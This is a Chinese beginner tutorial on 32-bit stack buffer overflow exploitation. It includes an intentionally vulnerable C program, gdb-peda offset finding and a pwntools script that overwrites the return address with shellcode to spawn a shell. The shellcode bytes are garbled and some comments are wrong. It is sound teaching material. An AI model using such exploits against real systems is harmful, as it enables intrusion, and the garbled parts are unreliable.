pwn入门

知识点主要是:缓冲区溢出缓冲区溢出的利用方式return to dl resolve 堆溢出off by one 格式化字符串漏洞
需要用到的程序是gdb、gdb-peda、gcc、python、pwntools、socat、rp++、readelf

缓冲区溢出简介:(栈)
ps:这个图方便大家理解栈的结构

pwn入门_第1张图片可以看出这个函数的有一个参数和两个局部变量,因为局部变量和参数会放在函数的栈帧上而且这个栈帧的大小是编译时就确定好的,所以可以局部变量1大小是4字节局部变量2的大小是8字节。ebp和return addr是用来保存栈帧基址和函数返回地址的对程序员透明。
如果我们给局部变量2输入16个字节会发生什么呢。

pwn入门_第2张图片可以看出因为及局部变量2只有8字节大小的内存空间多出来的8字节会覆盖ebp和return addr 。在这个函数执行完后会返回到aaaa这个地址也就0x61616161去执行下面的指令。
如果我们把return adr 换成事先部署好在内存的恶意指令再把return addr换成这块地址则程序会执行我们部署好的恶意指令 ,这就是缓冲区溢出的基本原理。
如何编译呢?

#include
void func()
{
    char name[0x50];//0x100大小的栈空间
    read(0, name, 0x100);//输入0x200大小的数据
    write(1, name, 0x100);
}
int main()
{
    func();
    return 0;
}

x86(32位)下无任何防护机制
编译方式:

gcc -m32 1.c -o 1 -O0 -fno-stack-protector -z execstack

m32:生成32bit程序需要gcc-multilib(x86机器上编译不用加)
O0:不进行任何优化
fno-stack-protector:不开启canary栈溢出检测
z execstack:不开启canary栈溢出检测

首先寻找多少字节能溢出切刚好能够覆盖return addr。我们使用gdb-peda提供的pattern_create和pattern_offset.
pattern_create是生成一个字符串模块输入后根据EIP来确定覆盖return addr 的长度

pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'

然后让程序跑起来输入这串字符串后程序崩溃

在gdb里面运行程序
输入创建的200个字符串,程序会崩溃,
Stopped reason: SIGSEGV
0x41416741 in ?? ()
gdb-peda$ pattern_offset 0x41416741
1094805313 found at offset: 92

确定主机是否开启ALSR

cat /proc/sys/kernel/randomize_va_space
0

这就可以看出没有开启ALSR保护,也可以使用ldd来看加载动态库时动态库的基址来确定是否开启ALSR

➜ ldd 1   linux-gate.so.1 =>  (0xf7ffd000)
        libc.so.6 => /lib32/libc.so.6 (0xf7e3a000)
    /lib/ld-linux.so.2 (0x56555000)

再次运行运行ldd

➜ ldd 1   linux-gate.so.1 =>  (0xf7ffd000)
    libc.so.6 => /lib32/libc.so.6 (0xf7e3a000)
    /lib/ld-linux.so.2 (0x56555000)

两次libc的基址都是一样也说明了主机没有开启ALSR,然后我们可以在栈上部署一段shellcode让return addr 的内容位shellcode的地址注意这块有个坑,gdb调试的时候栈地址和程序运行时不同所以我们需要开启core dump或者attach运行的程序运行时的栈地址,通过ulimt -c unlime来开启core dump 然后让程序崩溃调试一下core dump 来shellcode的地址。

from pwn import *
io = process("./pwn")
payload = 'a' * 92
payload += 'bbbb' # eip
payload += 'cccc' # shellcode
io.send(payload)

这里bbbb是eip的位置cccc是shellcode的位置然后运行这个python后程序崩溃我们调试core dump (gdb -c core)这就要找到文件cccc的地址填到eip的位置


``#0  0x62626262 in ?? ()
gdb-peda$ print $esp
$1 = (void *) 0xffffd0b0
gdb-peda$ x/wx 0xffffd0b0
0xffffd0b0:    0x63636363

这里eip填入应该是0xffffd0b0,可以修改一下exploit文件shellcode从exploit-db
explit文件:
接下来脚本是:


```python
from pwn import *
io = process("./1")
payload = 'a' * 92
payload += p32(0xffffd0b0)
payload += "xebx11x5ex31xc9xb1x32x80"
payload += "x6cx0exffx01x80xe9x01x75"
payload += "xf6xebx05xe8xeaxffxffxff"
payload += "x32xc1x51x69x30x30x74x69"
payload += "x69x30x63x6ax6fx8axe4x51"
payload += "x54x8axe2x9axb1x0cxcex81"
raw_input()
io.send(payload)
io.interactive()
上面是没有开启任何保护

你可能感兴趣的:(pwn,网络安全)